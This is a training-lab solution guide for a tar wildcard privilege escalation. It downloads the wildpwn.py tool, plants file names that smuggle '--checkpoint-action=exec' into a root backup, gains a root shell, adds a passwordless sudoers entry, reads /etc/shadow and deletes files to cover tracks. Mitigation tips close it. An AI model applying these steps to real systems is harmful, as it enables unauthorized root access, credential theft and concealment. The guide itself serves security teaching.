



## Solution Guide: Exploiting the `tar` Command with the Checkpoint and Wildcard Options

The goal of this activity is to act out the `tar` exploitation and research how to harden systems against this exploit.

Completing this activity required the following steps:

- Downloading `wildpwn.py` using a non-`sudo` user account.
- Running the script to generate `.webscript`.
- Archiving the directory with `tar` to run the exploit.
- Verifying that your user can gain `sudo` access.
- Researching mitigation techniques.

## Solutions

1. In your virtual machine, switch to the user `jane`, and verify that you have no `sudo` privileges:
  - Run `su jane`. Use password as the password.
  - Run `sudo -l` to confirm that you do not have **superuser** privileges.
2. Next, we'll look for automated `tar` backup files that can be exploited.
  - As `jane`, run `cd ~/Documents`.
  - Run `ls -l` to display the archive file, `jane_docs_backup.tar`.

Unset

```
-rw-r--r-- 1 root root 286720 Apr 28 18:36 jane_docs_backup.tar
```

3. Download the [wildpwn.py](#) attack tool to your `~/Documents/ExploitTar` directory:
  - `cd ~/Documents/ExploitTar`
  - `wget https://raw.githubusercontent.com/localh0t/wildpwn/master/wildpwn.py`
  - Check the contents of the directory before running the script with `ls -lat`:

Unset

```
total 16
drwxr-xr-x 3 jane jane 4096 Apr 28 18:40 .
drwxr-xr-x 4 jane jane 4096 Apr 28 13:56 ..
-rw-rw-r-- 1 jane jane 3699 Apr 28 13:54 wildpwn.py
drwxr-xr-x 2 jane jane 4096 Apr 28 13:52 'important docs'
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f9
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f8
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f7
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f6
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f5
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f4
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f3
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f2
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f10
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f1
```

4. Use `wildpwn.py` to generate the malicious files by running:

- `python wildpwn.py tar .` within the `ExploitTar` directory.
- The output will display:

Unset

```
[!] Selected payload: tar
[+] Done! Now wait for something like: tar cf archive.tar * on ../
Good luck!
```

- Run `ls -lat` to display our new payload files:

Unset

```
total 20
drwxr-xr-x 3 jane jane 4096 Apr 28 18:41 .
-rw-rw-r-- 1 jane jane    0 Apr 28 18:41 '--checkpoint=1'
-rw-rw-r-- 1 jane jane    0 Apr 28 18:41
'--checkpoint-action=exec=sh .webscript'
-rw-rw-r-- 1 jane jane  535 Apr 28 18:41 .webscript
```

```
drwxr-xr-x 4 jane jane 4096 Apr 28 13:56 ..
-rw-rw-r-- 1 jane jane 3699 Apr 28 13:54 wildpwn.py
drwxr-xr-x 2 jane jane 4096 Apr 28 13:52 'important docs'
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f9
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f8
...
...
```

5. After waiting 1–2 minutes, we can re-run `ls -lat` to display that the contents of the directory have changed!
  - Run `ls -lat` to display:

Unset

```
total 20
drwxr-xr-x 4 jane jane 4096 Apr 28 18:42 .
drwxr-xr-x 2 root root 4096 Apr 28 18:42 .cache
drwxr-xr-x 4 jane jane 4096 Apr 28 13:56 ..
-rw-rw-r-- 1 jane jane 3699 Apr 28 13:54 wildpwn.py
drwxr-xr-x 2 jane jane 4096 Apr 28 13:52 'important docs'
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f9
-rwxr-xr-x 1 jane jane    0 Apr 28 13:51 f8
```

- Our exploit file should exist inside of a newly created `.cache` directory, with the name `.cachefile`.
  - Run `cd .cache` to navigate *into* the `.cache` directory.
  - Run `ls -lat` to display the hidden `.cachefile` exploit file.
    - `-l` displays a long-list format of the files.
    - `-a` displays entries starting with a `..`
    - `-t` sorts by time modified, which we want due to the nature of this exploit.
- 6. While still in the `.cache` subdirectory, execute the `.cachefile` within the terminal:
  - Run `./cachefile`.
  - You'll see your user prompt change from `jane:$` to `root:#!`
- 7. Add `jane` to `/etc/sudoers` so that we'll be able to run any command with superuser privileges `root`:
  - As `root`, run `visudo` and navigate to the following section of the file:

Unset

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
```

- Under that `root` permission, add the following line and save the file:

Unset

```
jane    ALL=(ALL) NOPASSWD:ALL
```

- This should allow us to run `sudo` commands as `jane` without having to enter a password.
8. Log back in as `jane` and verify that you can run commands with `sudo`.
- Run `su jane`.
  - Test your `sudo` permissions with:
    - `sudo -l`; and then
    - `sudo cat /etc/shadow`.
  - If you can see the contents of this file, you have successfully carried out a `tar` wildcard attack, turning `jane` into a superuser!
  - Due to how you edited the preceding `visudo` entry, you shouldn't need to enter your password for this command. Password-less `sudo` permissions allow attackers to rapidly execute elevated instructions on a target machine.
  - Remove the `ExploitTar` directory entirely to cover your tracks.
    - Run `rm -r ~/Documents/ExploitTar`.
9. Ways to prevent this attack in the future include:
- Preventing users from downloading files from untrusted sources. This will involve enforcing stricter **permissions** on where users can save files.
  - Using a tool like `tripwire` to watch the file system for suspicious changes. This will alert you whenever a user downloaded files like `wildpwn.py`, or when backups create files like `.cache/.cachefile`.
  - Use a tool like `lynis` to scan the system for security vulnerabilities on a regular basis. This will make it more likely that you will identify malicious files before they have a chance to damage the system.

If you would like to read more about wildcard attacks, see the following resources:

- [Back To The Future: Unix Wildcards Gone Wild](#)
- [wildpwn's GitHub page](#)